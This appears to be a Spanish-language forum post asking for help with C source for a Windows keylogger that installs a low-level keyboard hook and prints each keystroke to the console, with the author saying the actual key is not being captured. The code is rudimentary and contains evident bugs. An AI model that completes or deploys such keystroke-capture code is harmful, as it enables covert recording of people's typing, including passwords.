Código:
#include <windows.h>
HHOOK hKeyHook = NULL;
__declspec(dllexport) LRESULT CALLBACK Teclazo(int nCode, WPARAM wParam, LPARAM lParam) {
HWND ventana;
BYTE Buffer[100];
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
BYTE Status;
char Mensaje[100];
ventana = GetForegroundWindow();
DWORD thread;
if (ventana) {
thread = GetWindowThreadProcessId(ventana,NULL);
if (thread) {
AttachThreadInput(GetCurrentThreadId(),thread,TRUE);
}
}
ToAscii(hooked.vkCode,hooked.scanCode,NULL,(LPWORD)Buffer,0);
printf("%c: \n",Buffer[0]);
printf("%c: \n",Buffer[1]);
AttachThreadInput(GetCurrentThreadId,thread,FALSE);
return CallNextHookEx(NULL,nCode,wParam,lParam);
}
void LoopDeMensajes(){
MSG msg;
while (GetMessage(&msg,NULL,0,0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
DWORD WINAPI Keylogger() {
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)Teclazo,GetModuleHandle(NULL),NULL);
LoopDeMensajes();
UnhookWindowsHookEx(hKeyHook);
}
int main() {
DWORD dwThread = 0;
HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)Keylogger,(LPVOID)NULL,NULL,dwThread);
if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
}
}
El problema es que parece que no estoy levantando la tecla en si, aunque si estoy hookeando bien el proceso porque me esta retornando dos lineas por cada tecla que aprete, no importa en donde.